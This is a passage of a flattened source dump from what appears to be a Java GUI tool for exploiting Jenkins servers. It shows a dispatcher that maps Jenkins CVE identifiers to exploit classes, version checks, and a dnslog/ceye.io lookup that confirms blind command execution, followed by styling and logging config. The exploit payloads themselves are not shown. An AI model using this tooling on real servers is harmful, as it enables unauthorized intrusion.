return this.head; 30 | } 31 | 32 | public void setHead(String head) { 33 | this.head = head; 34 | } 35 | 36 | public String getText() { 37 | return this.text; 38 | } 39 | 40 | public void setText(String text) { 41 | this.text = text; 42 | } 43 | 44 | public String getError() { 45 | return this.error; 46 | } 47 | 48 | public void setError(String error) { 49 | this.error = error; 50 | } 51 | } 52 | 53 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/Tools.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | // http 请求对象，取自 shack2 的Java反序列化漏洞利用工具V1.7 4 | 5 | import fun.fireline.core.ExploitInterface; 6 | import fun.fireline.exp.jenkins.*; 7 | import fun.fireline.exp.tools.dnslogSetting; 8 | 9 | import java.io.IOException; 10 | import java.util.HashMap; 11 | import java.util.Random; 12 | 13 | public class Tools { 14 | public Tools() { 15 | } 16 | 17 | 18 | public static String urlParse(String url) { 19 | if (!url.contains("http")) { 20 | url = "http://" + url; 21 | } 22 | 23 | if (url.endsWith("/")) { 24 | url = url.substring(0, url.length() - 1); 25 | } 26 | 27 | return url; 28 | } 29 | 30 | 31 | // 根据选择对应的漏洞检测 32 | public static ExploitInterface getExploit(String vulName) { 33 | ExploitInterface ei = null; 34 | 35 | // Jenkins相关漏洞 36 | if(vulName.contains("CVE-2015-8103")){ 37 | ei = new CVE_2015_8103(); 38 | } else if(vulName.contains("CVE-2016-0792")){ 39 | ei = new CVE_2016_0792(); 40 | }else if(vulName.contains("CVE-2017-1000353")){ 41 | ei = new CVE_2017_1000353(); 42 | } else if(vulName.contains("CVE-2018-1000600")){ 43 | ei = new CVE_2018_1000600(); 44 | }else if(vulName.contains("CVE-2018-1000861")) { 45 | ei = new CVE_2018_1000861(); 46 | } else if(vulName.contains("CVE-2018-1999002")){ 47 | ei = new CVE_2018_1999002(); 48 | }else if(vulName.contains("CVE-2019-1003000")){ 49 | ei = new CVE_2019_1003000(); 50 | }else if(vulName.contains("CVE-2019-1003005")){ 51 | ei = new CVE_2019_1003005(); 52 | }else if(vulName.contains("CVE-2024-23897")) { 53 | ei = new CVE_2024_23897(); 54 | } 55 | 56 | return (ExploitInterface) ei; 57 | } 58 | 59 | //判断Jenkins 普通版本和LTS版本 60 | public static boolean compare1(String version){ 61 | int count = version.split("\\.").length - 1; 62 | if(count==1){ 63 | return true; 64 | }else{ 65 | return false; 66 | } 67 | } 68 | 69 | //比较版本 70 | public static int compare2(String version1, String version2) { 71 | String[] v1 = version1.split("\\."); 72 | String[] v2 = version2.split("\\."); 73 | int length = Math.max(v1.length, v2.length); 74 | for (int i = 0; i < length; i++) { 75 | double num1 = (i < v1.length) ? Double.parseDouble(v1[i]) : 0; 76 | double num2 = (i < v2.length) ? Double.parseDouble(v2[i]) : 0; 77 | if (num1 < num2) { 78 | return -1; 79 | } else if (num1 > num2) { 80 | return 1; 81 | } 82 | } 83 | return 0; 84 | } 85 | 86 | //先判断出是普通版本还是LTS版本,然后再进行比较 87 | public static boolean compareVersion(String version1,String version2,String version3){ 88 | if(compare1(version1)){ 89 | if(compare2(version1,version2)<=0){ 90 | return true; 91 | } 92 | }else { 93 | if(compare2(version1,version3)<=0){ 94 | return true; 95 | } 96 | } 97 | return false; 98 | } 99 | 100 | //dnslog api验证无回显命令执行 101 | public static boolean dnslog_verify(dnslogSetting dnslogSetting,String vul){ 102 | //目的是防止请求api过于频繁造成误差 103 | try { 104 | Thread.sleep(1000); 105 | } catch (InterruptedException e) { 106 | e.printStackTrace(); 107 | } 108 | String domain = dnslogSetting.getDomain(); 109 | String token = dnslogSetting.getToken(); 110 | String type = dnslogSetting.getType(); 111 | String user = domain.split("\\.")[0]; 112 | String verify = ""; 113 | HashMap headers = new HashMap<>(); 114 | if(type.equals("dnslog.pw")){ 115 | verify = String.format("http://dnslog.pw/api/dns/%s/%s/?token=%s",user,vul,token); 116 | Response response = HttpTools.get(verify,headers,"UTF-8"); 117 | if(response.getText().contains("True")){ 118 | return true; 119 | }else { 120 | return false; 121 | } 122 | }else if(type.equals("ceye.io")){ 123 | verify = String.format("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",token,vul); 124 | Response response = HttpTools.get(verify,headers,"UTF-8"); 125 | if(response.getText().contains("id")){ 126 | return true; 127 | }else { 128 | return false; 129 | } 130 | } 131 | return false; 132 | } 133 | 134 | // 生成随机字符 135 | public static String getRandomString(int length) { 136 | String str = "abcdefghijklmnopqrstuvwxyz0123456789"; 137 | Random random = new Random(); 138 | StringBuilder sb = new StringBuilder(); 139 | 140 | for(int i = 0; i < length; ++i) { 141 | int number = random.nextInt(36); 142 | sb.append(str.charAt(number)); 143 | } 144 | return sb.toString(); 145 | } 146 | 147 | } -------------------------------------------------------------------------------- /src/main/resources/css/main.css: -------------------------------------------------------------------------------- 1 | .jfx-button { 2 | -jfx-button-type: RAISED; 3 | -fx-text-fill: #000; 4 | -fx-font-size: 16; 5 | } 6 | 7 | /*!* 鼠标悬停时，按钮突出 *!*/ 8 | .jfx-button:hover{ 9 | -fx-background-color: white; 10 | } 11 | 12 | /* 按钮选中时，按钮突出 */ 13 | .jfx-button:focused{ 14 | -fx-background-color: white; 15 | } 16 | 17 | /* 修改Tab中文本的颜色 */ 18 | .tab-label { 19 | -fx-text-fill: #383838; 20 | } 21 | 22 | 23 | /* 子代选择器，Tab选中的时候选择其子元素tab-label */ 24 | .tab:selected .tab-label { 25 | -fx-text-fill: #1E90FF; 26 | } 27 | 28 | /* 修改Tab中背景颜色*/ 29 | .jfx-tab-pane .headers-region { 30 | -fx-background-color: #fff; 31 | } 32 | .jfx-tab-pane .tab-header-background { 33 | -fx-background-color: #fff; 34 | } 35 | 36 | 37 | #oa { 38 | -fx-font-size: 14; 39 | } 40 | 41 | -------------------------------------------------------------------------------- /src/main/resources/fxml/Jenkins.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /src/main/resources/fxml/Main.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /src/main/resources/img/sec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheBeastofwar/JenkinsExploit-GUI/2b0234e3236b9888788a66ce103ae5dbacc5fcda/src/main/resources/img/sec.png -------------------------------------------------------------------------------- /src/main/resources/log4j.properties: -------------------------------------------------------------------------------- 1 | ### 设置### 2 | log4j.rootLogger = debug,stdout,D 3 | 4 | ### 输出信息到控制抬 ### 5 | log4j.appender.stdout = org.apache.log4j.ConsoleAppender 6 | log4j.appender.stdout.Target = System.out 7 | log4j.appender.stdout.layout = org.apache.log4j.PatternLayout 8 | log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n 9 | 10 | #### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ### 11 | log4j.appender.D = org.apache.log4j.DailyRollingFileAppender 12 | log4j.appender.D.File = logs/debug.log 13 | log4j.appender.D.Append = true 14 | log4j.appender.D.Threshold = DEBUG 15 | log4j.appender.D.layout = org.apache.log4j.PatternLayout 16 | log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n 17 | 18 | #### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ### 19 | #log4j.appender.E = org.apache.log4j.DailyRollingFileAppender 20 | #log4j.appender.E.File =logs/error.log 21 | #log4j.appender.E.Append = true 22 | #log4j.appender.E.Threshold = ERROR 23 | #log4j.appender.E.layout = org.apache.log4j.PatternLayout 24 | #log4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n --------------------------------------------------------------------------------